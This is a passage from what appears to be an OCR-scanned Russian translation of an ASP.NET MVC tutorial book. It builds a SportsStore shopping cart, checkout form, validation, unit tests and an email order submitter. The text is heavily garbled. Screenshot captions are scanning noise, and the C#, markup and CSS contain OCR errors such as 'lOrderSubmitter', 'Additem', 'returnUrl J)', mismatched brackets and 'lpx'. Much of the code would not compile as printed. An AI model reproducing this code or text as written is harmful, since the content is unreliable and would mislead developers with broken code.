.FirstOrDefault(p => p.ProductID == productID);
cart.Additem(product, 1);
return RedirectToAction("Index", new { returnUrl });
}
public RedirectToRouteResult RemoveFromCart(Cart cart, int productID, string returnUrl)
{
Product product = productsRepository.Products
.FirstOrDefault(p => p.ProductID == productID); cart.RemoveLine(product) ;
return RedirectToAction("Index", new { returnUrl J);
}
}
Здесь важно отметить, что имена параметров AddToCart и RemoveFromCart соответствуют именам полей <field>в/Views/Shared/ProductSummary.ascx(т.е. productID и returnUrl). Это позволяет ASP.NET MVC ассоциировать с этими параметрами переменные формы входящего HTTP-запроса POST.
Помните, что RedirectToAction () приводит к перенаправлению HTTP 3024. Это заставляет браузер посетителя запросить новый URL, в данном случае — /Cart/Index.
Отображение корзины
Давайте подытожим, что было сделано в отношении корзины для покупок.
•	Определены объекты модели Cart и CartLine и реализовано их поведение. Всякий раз, когда метод действия требует Cart в качестве параметра, CartModelBinder автоматически подставляет корзину текущего посетителя, взятую из коллекции Session.
•	Добавлены кнопки Add to cart (Добавить в корзину) на экраны списка товаров, которые направляют к действию AddToCart () контроллера CartController.
4Такого же перенаправления можно добиться и вызовом метода Response. Redirect () в ASP.NET WebForms; однако при этом не возвращается объект ActionResult, что затрудняет тестирование контроллера.
Глава 5. Приложение SportStore: навигация и корзина для покупок 157
•	Реализован метод действия AddToCart (), который добавляет указанный товар в корзину посетителя и затем перенаправляет браузер на действие Index контроллера CartController. (Действие Index должно отображать текущее содержимое корзины, но пока оно не реализовано.)
Запустите приложение и щелкните на кнопке Add to cart рядом с наименованием какого-нибудь товара. Результат показан на рис. 5.8.
! ifs The resource cannot se found. - Jhsemef Expto-er
i M.'-'”	” -vJ http-<-3ccB5hcst:52S52'Ca*tJis*de??^«n4Jrf=^s2F
]
r Server Error in ’/' Application.
J
I The resource cannot be found.
J Description: нттр «04 -ne resource ysu are	for (er sse of Й-5 вереяйерс»5> ccuid fta-.e teen renamed, had
| Ss carps chB'tced cr ts iernpsrarsy uaavstetie. Pease r’svtev.r the	iiRL aws mate sure ijiat й s sp-sfes gsstscBj.
| Requested URL: •'CarWwfer
I
Version Information: f'icrcscft НЕТ Frangeani'i Verssn.20 £3727 1*33 ASP?tET	2.B.5ST27
Рис. 5.8. Результат щелчка на кнопке Add to cart
He удивительно, что возникла ошибка 404 Not Found (не найдено), поскольку действие Index контроллера CartController пока еще не реализовано. Это довольно простое действие, так как все, что оно должно делать — это визуализировать представление, передавая Cart текущего посетителя и текущее значение returnurl. Также имеет смысл наполнить ViewData [ "Currentcategory " ] строкой Cart, чтобы в меню навигации ничего не выделялось.
Тестирование; действие Index контроллера CartController
Как только проектное решение построено, его легко представить в виде теста. Учитывая то, какие данные это представление должно визуализировать (корзина посетителя и кнопка для возврата к списку товаров), давайте скажем, что будущее действие Index контроллера CartController должно установить Model для ссылки на корзину посетителя, а также заполнить ViewData["returnUrl"]:
[Test]
public void Index_Action_Renders_Default_View_With_Cart_And_ReturnUrl() {
// Установить контроллер Cart cart = new Cart(); CartController controller = new CartController(null);
// Вызвать метод действия
ViewResult result = controller.Index(cart, "myReturnUrl");
// Проверить результаты
Assert.IsEmpty(result.ViewName); // Визуализировать представление по умолчанию Assert-AreSame(cart, result.ViewData.Model);
Assert.AreEqual("myReturnUrl", result.ViewData["returnurl"]);
Assert.AreEqual("Cart", result.ViewData["Currentcategory"]);
}
Как всегда, сразу зто не скомпилируется, потому что еще нет метода действия Index ().
158 Часть I. Введение в ASP.NET MVC
Реализуйте простой метод Index (), добавив новый метод в класс CartController:
public ViewResult Index(Cart cart, string returnUrl) {
ViewData["returnUrl"] = returnUrl;
ViewData["CurrentCategory"] = "Cart"; return View(cart);
}
Несмотря на то что этот код обеспечит прохождение теста, понадобится еще определить шаблон представления. Щелкните правой кнопкой мыши внутри метода Index () и выберите в контекстном меню пункт Add View (Добавить Представление). В открывшемся окне отметьте флажок Create a strongly typed view (Создать строго типизированное представление) и в раскрывающемся списке View data class (Класс данных представления) выберите DomainModel.Entities.Cart.
После отображения шаблона поместите в заполнители <asp: Content> разметку для визуализации экземпляра Cart, как показано ниже:
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"> SportsStore : Your Cart
</asp:Content>
<asp:Content ContentPlaceHolderID="MainContent" runat="server">
<h2>Your cart</h2>
ctable width="90%" align="center">
<theadxtr>
<th align="center">Quantity</th>
<th align="left">Item</th>
<th align="right">Price</th>
<th align="right">Subtotal</th>
</tr></thead>
<tbody>
<% foreach(var line in Model.Lines) { %>
<tr>
<td align="center"><%= line.Quantity %></td>
<td align="left"><%= line.Product.Name %></td>
<td align="right"><%= line.Product,Price.ToString("c") %></td>
<td align="right">
<%= (line.Quantity*line.Product.Price).ToString("c") %> </td>
</tr>
^C.	1 SX
j о S </tbody> <tfootxtr>
<td colspan="3" align="right">Total:</td>
<td align="right">
<%= Model,ComputeTotalValue().ToString("c") %>
</td>
</trx/tfoot>
</table>
<p align="center" class="actionButtons">
<a href="<%= Html.Encode(ViewData["returnUrl"]) %>">Continue shopping</a> </p>
</asp:Content>
Пусть кажущаяся сложность этого шаблона представления вас не путает. Он всего лишь проходит по коллекции Model. Lines и выводит каждую строку в HTML-таблицу.
Глава 5. Приложение SportStore: навигация и корзина для покупок 159
Кроме того, он добавляет удобную кнопку Continue shopping (Продолжить покупку), которая перенаправляет посетителя обратно на страницу товаров, где он был ранее.
Каков же результат? Теперь вы имеете работающую корзину для покупок, показанную на рис. 5.9. В нее можно добавить элемент, щелкнуть на кнопке Continue shopping, добавить другой элемент и т.д.
Рис. 5.9. Корзина для покупок в действии
Чтобы облагородить внешний вид, понадобится добавить несколько правил CSS в /Content/styles,css:
Н2 { margin-top: 0.Зет }
TFOOT TD { border-top: lpx dotted gray; font-weight: bold; } .actionButtons A {
font: .8em Arial; color: White; margin: 0 .5em 0 . 5em;
text-decoration: none; padding: .15em 1.5em .2em 1.5em; background-color: #353535; border: lpx solid black;
}
Наблюдательный читатель заметит, что в приложении пока еще нет никакой возможности оформить и оплатить заказ. Скоро такая возможность будет добавлена, но сначала необходимо добавить еще пару средств корзины для покупок.
Удаление элементов из корзины
Предположим, что посетитель обнаруживает, что ему не нужно столько футбольных мячей, сколько находится в его корзине для покупок. Как их удалить оттуда? Чтобы реализовать поведение удаления, модифицируйте /Views/Cart/Index. aspx, добавив кнопку Remove (Удалить) в новый столбец каждой строки CartLine. Поскольку это действие будет вызывать постоянный побочный эффект (удаляя элемент из корзины), должна использоваться форма <form>. которая отправляет данные через запрос POST, вместо вспомогательного метода Html. ActionLink (), который инициирует запрос GET:
160 Часть I. Введение в ASP.NET MVC
<% foreach(var line in Model.Lines) { %>
<tr>
<td align="center"><%= line.Quantity %></td>
<td align="left"><%= line.Product.Name %></td>
<td align="right"><%= line.Product.Price.ToString("c") %></td>
<td align="right">
<%= (line.Quantity*line.Product.Price).ToString("c") %>
</td>
<td>
<% using(Html.BeginForm("RemoveFromCart", "Cart")) { %>
<%= Html.Hidden("ProductID", line.Product.ProductID) %>
<%= Html.Hidden("returnUrl", ViewData["returnUrl"]) %>
<input type="submit" value="Remove" />
<% } %>
</td>
</tr>
В идеале также следует добавить пустые ячейки к строкам заголовка и нижнего колонтитула, чтобы все строки имели одинаковое количество столбцов. В любом случае, удаление товаров из корзины будет работать (рис. 5.10), так как метод действия RemoveFromCart (cart, productld, returnUrl) уже реализован, а имена его параметров соответствуют именам полей только что добавленной формы <f orm> (т.е. Productld и returnUrl).
Рис. 5.10. Кнопка Remove корзины для покупок в действии
Отображение итоговой суммы по корзине в строке заголовка
Приложению SportStore сейчас присущи две основных проблемы, которые касаются удобства использования.
• Посетители не имеют понятия о содержимом своей корзины, пока не обратятся к экрану, отображающему корзину.
* Посетители не могут попасть на экран содержимого корзины (т.е. к оформлению заказа) без добавления в нее хоть какого-нибудь товара!
Для решения обеих проблем давайте добавим на мастер-страницу приложения кое-что еще — новый виджет, отображающий краткую итоговую информацию о текущем содержимом корзины и предоставляющий ссылку на страницу отображения содержимого корзины. Реализация этого виджета похожа на реализацию виджета навигации (т.е. в виде метода действия, вывод которого можно включить в /Views/Site .Master).
Глава 5. Приложение SportStore: навигация и корзина для покупок 161
Однако на этот раз все будет намного проще, и это в очередной раз доказывает, что с помощью Html. RenderAction () виджеты реализуются легко и быстро.
Добавьте в класс CartController новый метод действия по имени Summary ():
public class CartController : Controller {
// Оставить остальную часть класса без изменений public ViewResult Summary(Cart cart)
{
return View(cart);
}
}
Как видите, метод довольно прост. Необходимо лишь визуализировать представление, отобразив текущие данные корзины, чтобы представление могло показать итоговую сумму. Модульный тест для этого поведения написать очень легко, и по причине простоты он рассматриваться не будет.
Затем создайте шаблон частичного представления для виджета. Щелкните правой кнопкой мыши внутри метода Summary () и выберите в контекстном меню пункт Add View [Добавить представление). В открывшемся окне отметьте флажки Create a partial view (Создать частичное представление) и Create a strongly typed view (Создать строго типизированное представление), а в раскрывающемся списке View data class (Класс данных представления) выберите класс DomainModel. Entities. Cart. Добавьте следующую разметку:
<% if(Model.Lines.Count >0) { %>
<div id="cart">
<span class="caption">
<b>Your cart:</b>
<%= Model.Lines.Sum(x => x.Quantity) %> item(s),
<%= Model.ComputeTotalValue().ToString("c") %> </span>
<%= Html.ActionLink("Check out", "Index", "Cart", new { returnUrl = Request.Url.PathAndQuery }, null)%> </div>
<% } %>
Для подключения виджета к мастер-странице добавьте в /Views/Shared/Site.Master следующие строки:
<div id="header">
<% if(!(ViewContext.Controller is WebUI.Controllers.CartController)) Html.RenderAction("Summary", "Cart"); %>
<div class="title">SPORTS STORE</div>
</div>
Обратите внимание, что в коде для определения визуализируемого в данный момент контроллера используется объект ViewContext. Когда посетитель находится в CartController, виджет итоговой суммы по корзине скрыт, поскольку бессмысленно иметь ссылку на страницу оформления заказа, если посетитель уже находится на ней. Аналогично, коду /Views/Cart/Summary. ascx известно, что если корзина пуста, никакого вывода генерировать не нужно.
Помещение такой логики в шаблон представления — максимум того, что можно позволить; любую более сложную логику лучше реализовать посредством флага, устанавливаемого контроллером (который впоследствии можно проверить и предпринять соответствующие действия). С другой стороны, зто личное дело разработчика. Предел сложности логики, помещаемой в контроллер, каждый должен определять самостоятельно.
162 Часть I. Введение в ASP.NET MVC
Теперь добавьте один или более элементов в корзину. Полученный результат должен быть похож на показанный на рис. 5.11.
Рис. 5.11. Итоговая сумма по тележке визуализируется в строке заголовка
Уже выглядит неплохо! И будет выглядеть еще лучше, когда вы добавите несколько дополнительных правил в /Content/styles.css:
DIV#cart { float:right; margin: .8em; color: Silver; background-color: #555; padding: ,5em ,5em .5em lem; } DIV#cart A { text-decoration: none;
padding: . 4em lem . 4em lem; line-height:2.lem; margin-left: .5em;
background-color: #333; color:White;
border: lpx solid black; ) DIV#cart SPAN.summary { color: White; }
Теперь посетители могут видеть, что находится в их корзине, вдобавок стало вполне очевидно, каким образом попасть из любого экрана списка товаров на экран, отображающий содержимое корзины.
Отправка заказов
Настало время заняться разработкой последнего средства приложения SportStore, ориентированного на заказчика: оформления заказа. Оно относится к предметной области, так что придется добавить немного кода к модели предметной области. Покупателю необходимо предоставить возможность указать сведения о доставке, которые затем проверить каким-то разумным способом.
На данном этапе разработки приложение SportStore будет просто отправлять детали оформленного заказа администратору сайта по электронной почте. Пока что нет необходимости помещать информацию о заказе в базу данных. С учетом того, что в будущем это может поменяться, упростим изменение поведения, реализовав абстрактную службу отправки заказов IOr de г Submit ter.
Глава 5. Приложение SportStore: навигация и корзина для покупок 163
Расширение модели предметной области
Начнем с реализации класса модели для сведений о доставке. Добавьте новый класс в папку Entities проекта DomainModel и назовите его ShippingDetails:
namespace DomainModel.Entities {
public class ShippingDetails : IDataErrorlnfo {
public string Name { get; set; } public string Linel { get; set; } public string Line2 { get; set; ) public string Line3 { get; set; } public string City { get; set; } public string State { get; set; } public string Zip { get; set; ) public string Country { get; set; } public bool GiftWrap { get; set; } public string this[string cblumnName] // Правила проверки достоверности {
get {
if ((columnName == "Name") && string.IsNullOrEmpty(Name)) return "Please enter a name";	// Необходимо ввести имя
if ((columnName == "Linel") && string.IsNullOrEmpty(Linel)) return "Please enter the first address line";
// Необходимо ввести первую строку адреса
if ((columnName == "City") && string.IsNullOrEmpty(City))
return "Please enter a city name"; // Необходимо ввести город if ((columnName == "State") && string.IsNullOrEmpty(State))
return "Please enter a state name"; // Необходимо ввести штат if ((columnName == "Country") && string.IsNullOrEmpty(Country)) return "Please enter a country name"; // Необходимо ввести страну return null; } } public string Error { get { return null; } ) //He требуется ) )
Как и в проекте из главы 2. правила проверки достоверности определяются с использованием интерфейса IDataErrorlnfo, который автоматически распознается и соблюдается средством привязки модели в ASP.NET MVC. В этом примере правила очень просты: ряд свойств не мотут быть пустыми — вот и все. Можете добавить собственную логику для определения действительности каждого свойства.
Это простейший из нескольких возможных способов реализации в ASP.NET MVC проверки достоверности серверной стороны, хотя ему присущ ряд недостатков, о которых вы узнаете в главе 11 (там же будут рассмотрены некоторые более сложные и мощные альтернативы).
Тестирование: сведения о доставке
Прежде чем дальше расширять класс ShippingDetails, понадобится спроектировать поведение приложения, используя тесты. Каждый экземпляр cart должен содержать набор ShippingDetails (поэтому ShippingDetails должно быть свойством Cart), причем свойство ShippingDetails изначально должно быть пустым. Выразите это проектное решение, добавив несколько тестов к CartTests:
164 Часть I. Введение в ASP.NET MVC
[Test]
public void Cart Shipping_Details_Start_Empty() {
Cart cart = new Cart() ;
ShippingDetails d = cart.ShippingDetails;
Assert.IsNull(d.Name);
Assert.IsNull(d.Linel); Assert.IsNull(d.Line2); Assert.IsNull(d.Line3); Assert.IsNull(d.City); Assert.IsNull(d.State); Assert.IsNull(d.Country); Assert.IsNull(d.Zip);
}
[Test]
public void Cart_Not_GiftWrapped_By_Default() {
Cart cart = new Cart() ;
Assert.IsFalse(cart.ShippingDetails.GiftWrap) ;
}
Если не считать ошибки компиляции ‘DomainModel.Entities.Cart’ does not contain a definition for ‘ShippingDetails’ (DomainModel .Entities .Cart не содержит определения ShippingDetails), эти тесты должны проходить успешно, потому что они соответствуют поведению инициализации объектов C# по умолчанию. Тем не менее, иметь эти тесты стоит — они гарантируют, что никто нечаянно не изменит этого поведения в будущем.
Чтобы удовлетворить проектное решение, выраженное с помощью предыдущих тестов (т.е. каждый Cart должен иметь набор ShiipingDetails), модифицируйте класс Cart следующим образом:
public class Cart {
private List<CartLine> lines = new List<CartLine>();
public IList<CartLine> Lines { get { return lines.AsReadOnly(); } }
private ShippingDetails ShippingDetails = new ShippingDetails();
public ShippingDetails ShippingDetails { get { return ShippingDetails; }
// . . . остальная часть класса не изменяется ...
}
Это и все изменения модели предметной области. Теперь тесты будут компилироваться и успешно проходить. Следующая задача — использование обновленной модели предметной области на новом экране оформления заказа.
Добавление кнопки Check Out Now
Возвратившись к представлению index корзины, добавьте кнопку Check Out Now (Оформить заказ), которая выполнит навигацию к действию по имени Checkout (рис. 5.12):
<р align="center" class="actionButtons">
<а href="<%= Html.Encode(ViewData["returnUrl"]) %>">Continue shopping</a>
<%= Html.ActionLinkf"Check out now", "Checkout") %>
</p>
</asp:Content>
Глава 5. Приложение SportStore: навигация и корзина для покупок 165
Рис. 5.12. Кнопка Check out now
Приглашение покупателю ввести сведения о доставке
Чтобы сделать ссылку Check out now рабочей, в класс CartController потребуется добавить новое действие Checkout. Все, что оно должно делать — это визуализировать представление, которое будет формой сведений о доставке (ShippingDetails):
[AcceptVerbs(HttpVerbs.Get)]
public ViewResult Checkout(Cart cart) {
return View(cart.ShippingDetails) ;
}
(Этот метод ограничен ответами только на запросы GET. Причина в том, что скоро у нас появится другой метод, соответствующий действию Checkout, который будет отвечать на запросы POST.)
Добавьте для только что созданного метода действия шаблон представления (строго типизированный или нет — значения не имеет) со следующей разметкой:
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"> SportsStore : Check Out
</asp:Content>
<asp:Content ContentPlaceHolderID="MainContent" runat="server"> <h2>Check out now</h2>
Please enter your details, and we'll ship your goods right away!
<% using(Html.BeginForm()) { %>
<h3>Ship to</h3>
<div>Name: <%= Html-TextBox("Name") %></div>
<h3>Address</h3>
<div>Line 1: <%= Html.TextBox("Linel") %></div>
<div>Line 2: <%= Html.TextBox("Line2") %></div>
<div>Line 3: <%= Html.TextBox("Line3") %></div>
<div>City: <%= Html.TextBox("City") %></div>
<div>State: <%= Html.TextBox("State") %></div>
<div>Zip: <%= Html.TextBox("Zip") %></div>
<div>Country: <%= Html.TextBox("Country") %></div>
<h3>Options</h3>
<%= Html. CheckBox ("Giftwrap") %> Gift wrap these items
<p align="center"Xinput type="submit" value="Complete order" /></p>
<% } %>
</asp:Content>
Результат показан на рис. 5.13.
166 Часть I. Введение в ASP.NET MVC
Рис. 5.13. Экран сведений о доставке
Определение компонента 1оС для отправки заказов
При отправке посетителем формы обратно на сервер некоторый код метода действия мог бы посылать детали заказа в сообщении электронной почты через SMTP-сервер. Несмотря на удобство такого подхода, с ним связаны три сложности.
•	Возможность изменения. Возможно, в будущем это поведение потребуется изменить, чтобы детали заказов сохранялись в базе данных. Если логика CartController будет перемешана с логикой отправки электронной почты, зто может оказаться затруднительным.
•	Возможность тестирования. Если API-интерфейс SMTP-сервера не спроектирован с учетом тестируемости, подставить имитированный SMTP-сервер во время модульного тестирования будет сложно. В результате либо не удастся написать модульные тесты для Checkout (), либо тесты должны будут посылать реальные электронные письма через реальный SMTP-сервер.
•	Возможность конфигурирования. Нужен какой-нибудь способ конфигурирования адреса SMTP-сервера. Это можно сделать разными способами, но как сделать зто аккуратно, не изменяя соответствующим образом средства конфигурации, если позже понадобится перейти на другой серверный продукт SMTP?
Подобно многим другим проблемам, все эти сложности могут быть устранены введением дополнительного уровня абстракции. Для этого определим интерфейс lOrderSubmitter, который будет компонентом 1оС, ответственным за отправку оформленных и проверенных заказов. Создайте новую папку Services5 * * В в проекте DomainModel и добавьте в нее следующий интерфейс:
5 Хотя этот интерфейс и назван службой (service), это не значит, что он должен быть веб-службой (web service). К сожалению, здесь мы столкнулись с конфликтом терминов: разработчики
ASP.NET привыкли называть “службами” веб-службы ASMX, в то время как в контексте 1оС
и предметно-управляемого проектирования под службами подразумеваются компоненты, которые выполняют нужную работу, но не являются объектами сущностей или значений.
В данном случае путаницы возникать не должно, поскольку интерфейс lOrderSubmitter мало чем напоминает настоящую веб-службу.
Глава 5. Приложение SportStore: навигация и корзина для покупок 167
namespace DomainModel.Services (
public interface lOrderSubmitter
{ void SubmitOrder(Cart cart);
)
)
Теперь это определение можно использовать для написания остальной части действия Checkout без компиляции CartController с мельчайшими деталями действительной отправки электронной почты.
Завершение разработки класса CartController
Для завершения разработки класса CartController понадобится установить его зависимость от интерфейса lOrderSubmitter. Обновите конструктор CartController следующим образом:
private IproductsRepository productsRepository;
private lOrderSubmitter orderSubmitter;
public CartController(IProductsRepository productsRepository, lOrderSubmitter orderSubmitter)
{
this.productsRepository = productsRepository;
this.orderSubmitter = orderSubmitter;
}
Тестирование: обновление тестов
В настоящий момент скомпилировать решение не удастся, пока не будут обновлены модульные тесты, ссылающиеся на CartController. Причина в том, что теперь его конструктор принимает два параметра, а в коде тестов осуществляется передача только одного. Обновите все тесты, в которых создается экземпляр CartController, указав значение null на месте параметра orderSubmitter. Например, вот как нужно изменить Can_Add_ProductTo_Cart (): var controller = new CartController(mockProductsRepos.Object, null);
После этого тесты должны проходить.
Тестирование: отправка заказа
Теперь вы готовы определить поведение перегрузки POST метода Checkout () с помощью тестов. Если пользователь отправляет либо пустую корзину, либо пустые сведения о доставке, то действие Checkout () должно просто повторно отобразить свое представление по умолчанию. Заказ может быть отправлен через lOrderSubmitter и визуализирован другим представлением по имени Completed только в том случае, если корзина не пуста и сведения о доставке корректны. Кроме того, после отправки заказа корзина для покупок посетителя должна быть опустошена (иначе возникает риск непреднамеренной повторной отправки заказа).
Эти проектные решения выражаются следующими тестами, которые понадобится добавить в CartControllerTests:
[Test] public void
Submitting_Order_With_No_Lines_Displays_Default_View_With_Erгог() {
// Подготовка
CartController controller = new CartController(null, null);
Cart cart = new Cart() ;
168 Часть I. Введение в ASP.NET MVC
// Действие
var result = controller.Checkout(cart, new FormCollection());
// Утверждение
Assert.IsEmpty(result.ViewName);
Assert.IsFalse(result.ViewData.Modelstate.IsValid);
}
[Test] public void
Submitting_Empty_Shipping_Details_Displays_Default_View_With_Error() {
// Подготовка
CartController controller = new CartController(null, null);
Cart cart = new Cart() ;
cart.Additem(new Product(), 1);
// Действие
var result = controller.Checkout(cart, new FormCollection {
{ "Name", "" }
}) ;
// Утверждение
Assert.IsEmpty(result.ViewName);
Assert.IsFalse(result.ViewData.Modelstate.IsValid);
)
[Test] public void
Valid_Order_Goes_To_Submitter_And_Displays_Completed_View() {
// Подготовка
var mockSubmitter = new Moq.Mock<IOrderSubmitter>();
CartController controller = new CartController(null, mockSubmitter.Object);
Cart cart = new Cart();
cart.Additem(new Product(), 1);
var formData = new FormCollection {
{ "Name", "Steve" }, { "Linel", "123 My Street" ),
{ "Line2", "MyArea" }, { "Line3", "" },
{ "City", "MyCity" }, { "State", "Some State" },
{ "Zip", "123ABCDEF" }, { "Country", "Far far away" },
{ "GiftWrap", bool.TrueString }
};
// Действие
var result = controller.Checkout(cart, formData);
// Утверждение
Assert.AreEqual("Completed", result.ViewName);
mockSubmitter.Verify(x => x.SubmitOrder(cart));
Assert.AreEqual(0, cart.Lines.Count);
Чтобы реализовать перегрузку действия Checkout для запросов POST и удовлетворить условия предыдущих модульных тестов, добавьте в CartController еще один метод:
[AcceptVerbs(HttpVerbs.Post)]
public ViewResult Checkout(Cart cart, FormCollection form)
{
// Пустые корзины отправлять нельзя
if(cart.Lines.Count == 0) {
Modelstate.AddModelError("Cart", "Sorry, your cart is empty!"); return View();
)
Глава 5. Приложение SportStore: навигация и корзина для покупок 169
// Вызвать привязку модели вручную if (TryUpdateModel(cart.ShippingDetails, form.ToValueProvider())) { orderSubmitter.SubmitOrder(cart);
cart.Clear();
return View("Completed");
}
else // Что-то было не так return View();
}
Когда этот метод действия вызывает TryUpdateModel (), система привязки модели инспектирует все пары “ключ/значение” в form (они извлекаются из входящей коллекции Request. Form, в которой хранятся имена текстовых полей и значения, введенные посетителем) и использует их для заполнения соответствующим образом именованных свойств cart. ShippingDetails. Этот тот же самый механизм привязки модели, который поставляет параметры методам действий, с тем лишь отличием, что здесь он инициируется вручную, так как cart. ShippingDetails не является параметром метода действия. Более подробные сведения об этой технике, включая использование префиксов для работы с конфликтующими именами, будут даны в главе 11.
Также обратите внимание на метод AddModelError (), позволяющий регистрировать любые сообщения об ошибках, которые будут отображаться посетителю. Реализацией отображения таких сообщений мы займемся чуть позже.
Добавление фиктивного средства отправки заказов
К сожалению, в нынешнем виде приложение не сможет работать, потому что контейнеру 1оС не известно, какое именно значение передать в параметре Submitter конструктора CartController (рис. 5.14).
! Й Carttcrsatecsrroonerrc СэйСоиосЦег asst Ькйвсгясепсе; ж Ьезэрзтаа	-Ь’.жпяЬидаег	j
 (Qh 7' hHp-Mc«ihoSt5K2	* *. л.1
ij Server Error in ’/* Appiication. ii
1 Cant create component ‘CartController' as it has dependencies to be satisfied. •[ j CartController is waiting for the following dependencies:
I Services:	:
i - WebUI. Services. TOrderSubmitter which was not registered.
j Description:	Яемег&оаа the siaCK trace'imaretofonnsCon
> ; sccut fra error end .«(•efeeo^meteScs the csss.
; Exception Details: Сазйе ,"lcroKe;s'e< renSe-s HendeExcecUcn. Ear: cree>e zsrnpcreA'CanCsrtR?«v as в без secs-i&cies to bs eatefiec	t
j СеПЛягз-е'is лейПЕ tor the snjseie’, seres®	,
11 - У. sbClSw . ям Is'ierS.ioi-’iier -дае11 v-ras лег .aset^-гг	;!
.. J
Рис. 5.14. Сообщение об ошибке Windsor, которое он выдает, если не может разрешить зависимость
Для решения этой проблемы определите класс FakeOrderSubmitter в папке /Services проекта DomainModel:
namespace DomainModel.Services {
public class FakeOrderSubmitter : TOrderSubmitter (
public void SubmitOrder(Cart cart) { } } }
// Ничего не делать
170 Часть I. Введение в ASP.NET MVC
Зарегистрируйте его в разделе <castle> файла web. config:
<castle>
<components>
<! — Остальной код не изменяется - просто добавляется следующий новый узел —>
-«component id="OrderSubmitter"
service="DomainModel.Services.lOrderSubmitter, DomainModel" type="DomainModel.Services.FakeOrderSubmitter, DomainModel" />
</components>
</castle>
Теперь приложение можно запусти ть.
Отображение сообщений об ошибках проверки достоверности
Если вы зайдете на экран оформления заказа и введете неполные сведения о доставке, приложение просто заново отобразит этот экран, не объясняя причин. Давайте заставим его отображать сообщения об ошибках, добавив Html. ValidationSummary () в представление Checkout.aspx:
<h2>Check out now</h2>
Please enter your details, and we'll ship your goods right away!
<%= Html.ValidationSummary() %> . . . остальное без изменений . . .
Теперь если посетитель оформит заказ неправильно, то он получит итоговый список сообщений по результатам всех проверок достоверности, как показано на рис. 5.15. Если будет предпринята попытка отправить заказ при пустой корзине, в итоговом списке сообщений появится фраза “Sorry, your cart is empty!" (К сожалению, ваша корзина пуста).
Также обратите внимание, что текстовые поля, в которых обнаружен неверный ввод, будут выделены — это поможет пользователю быстрее найти причину возникшей проблемы. Встроенные вспомогательные средства ввода ASP.NET MVC выделяют себя автоматически (назначая себе определенный класс CSS), когда обнаруживают зарегистрированное сообщение об ошибке, которое соответствует их собственному имени.
Рис. 5.15. Теперь сообщения об ошибках проверки достоверности отображаются на экране
Глава 5. Приложение SportStore: навигация и корзина для покупок 171
Чтобы текстовые поля выделялись, как показано на рис. 5.15. в файл CSS потребуется добавить следующие правила:
.field-validation-error { color: red; }
.input-validation-error { border: lpx solid red; background-color: ttffeeee; } .validation-summary-errors { font-weight: bold; color: red; }
Отображение экрана с благодарностью за размещенный заказ
В завершение процесса оформления заказа добавьте шаблон представления под названием Completed. По соглашению он должен быть помещен в папку /Views/Cart проекта WebUI, потому что он будет визуализирован действием из CartController. Щелкните правой кнопкой маши на / Views/Cart и выберите в контекстном меню пункт Addd>View (Добавить^Представление). В открывшемся окне введите имя представления Completed, проверьте, что флажок Create a strongly typed view (Создать строго типизированное представление) не отмечен (так как мы не собираемся визуализировать какие-то данные модели) и щелкните на кнопке Add (Добавить).
Все, что понадобится добавить к шаблону представления — это небольшой фрагмент статической HTML-разметки:
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"> SportsStore : Order Submitted
</asp:Content>
<asp:Content ContentPlaceholderID="MainContent" runat="server"> <h2>Thanks!</h2>
Thanks for placing your order. We'll ship your goods as soon as possible.
</asp:Content>
Теперь можно проверить весь процесс выбора товаров и оформления заказа. После указания корректных сведений о доставке появятся страницы, показанные на рис. 5.16.
ScortsStoe: Check Out -	1<Д  ~
, > . httpV/toca«wst-5S813/CBiVChed:Otrt	- j Ч ! X i
I	Line 3:
City: Cambridge	I
State: Cambridgeshire
Zip: CB4 3JP	1
|	Country: United Kingdom
|	Options
|	Gift wrap these items	i
I	Complete order ।	-------  T
. --------------------------------------------------t. .
Рис. 5.16. Завершение оформления заказа
Реализация класса EmailOrderSubmitter
Осталось только заменить FakeOrderSubmitter (фиктивное средство отправки заказов) реальной реализацией lOrderSubmitter. Такая реализация могла бы сохранять заказ в базе данных, уведомлять администратора сайта с помощью SMS-сообщений и запускать небольшой робот для отбора товаров на складе и подготовки их к отправке, но это задача не сегодняшнего дня. Пока ограничимся реализацией, которая будет просто отсылать детали заказа по электронной почте. Добавьте класс EmailOrderSubmitter в папку Services проекта DomainModel:
172 Часть I. Введение в ASP.NET MVC
public class EmailOrderSubmitter : lOrderSubmitter {
const string MailSubject = "New order submitted!";
string smtpServer, mailFrom, mailTo;
public EmailOrderSubmitter(string smtpServer, string mailFrom, string mailTo) (
// Получить параметры от контейнера IoC
this.smtpServer = smtpServer;
this.mailFrom = mailFrom;
this.mailTo = mailTo;
}
public void SubmitOrder(Cart cart)
{
// Подготовить тело сообщения
StringBuilder body = new StringBuilder();
body.AppendLine("A new order has been submitted") ; // Отправлен новый заказ
body.AppendLine("---");
body.AppendLine("Items:"); // Позиции заказа foreach (var line in cart.Lines) {
var subtotal = line.Product.Price * line.Quantity;
body.AppendFormat("{0} x {1} (subtotal: {2:c}", line.Quantity,
line.Product.Name, subtotal);
}
body.AppendFormat("Total order value: {0:c}",
cart.ComputeTotalValue()); // Сумма заказа
body.AppendLine("---");
body.AppendLine("Ship to:"); // Координаты для доставки
body.AppendLine(cart.ShippingDetails.Name);
body.AppendLine(cart.ShippingDetails.Line1);
body.AppendLine(cart.ShippingDetails.Line2 ?? "");
body.AppendLine(cart.ShippingDetails.Line3 ?? "");
body.AppendLine(cart.ShippingDetails.City);
body.AppendLine(cart.ShippingDetails.State ?? "") ;
body.AppendLine(cart.ShippingDetails.Country);
body.AppendLine(cart.ShippingDetails.zip);
body.AppendLine("---");
body.AppendFormat("Gift wrap: {0}", // Нужна ли подарочная упаковка? cart.ShippingDetails.Giftwrap ? "Yes" : "No");
// Отправить сообщение
SmtpClient smtpClient = new SmtpClient(smtpServer);
smtpClient.Send(new MailMessage(mailFrom, mailTo, MailSubject, body.ToString()));
)
)
Чтобы зарегистрировать это в контейнере IoC, обновите в файле web. config узел, специфицирующий реализацию lOrderSubmitter:
<component id="OrderSubmitter"
service="DomainModel.Services.lOrderSubmitter, DomainModel" type="DomainModel.Services.EmailOrderSubmitter, DomainModel"> <parameters>
<smtpServer>127.0.0.l</smtpServer> <!— Сервер указывается здесь —>
<mailFrom>sportsstore@example.com</mailFrom>
<mailTo>admin(?example. com</mailTo>
</parameters>
</component>
Глава 5. Приложение SportStore: навигация и корзина для покупок 173
Упражнение: обработка кредитных карт
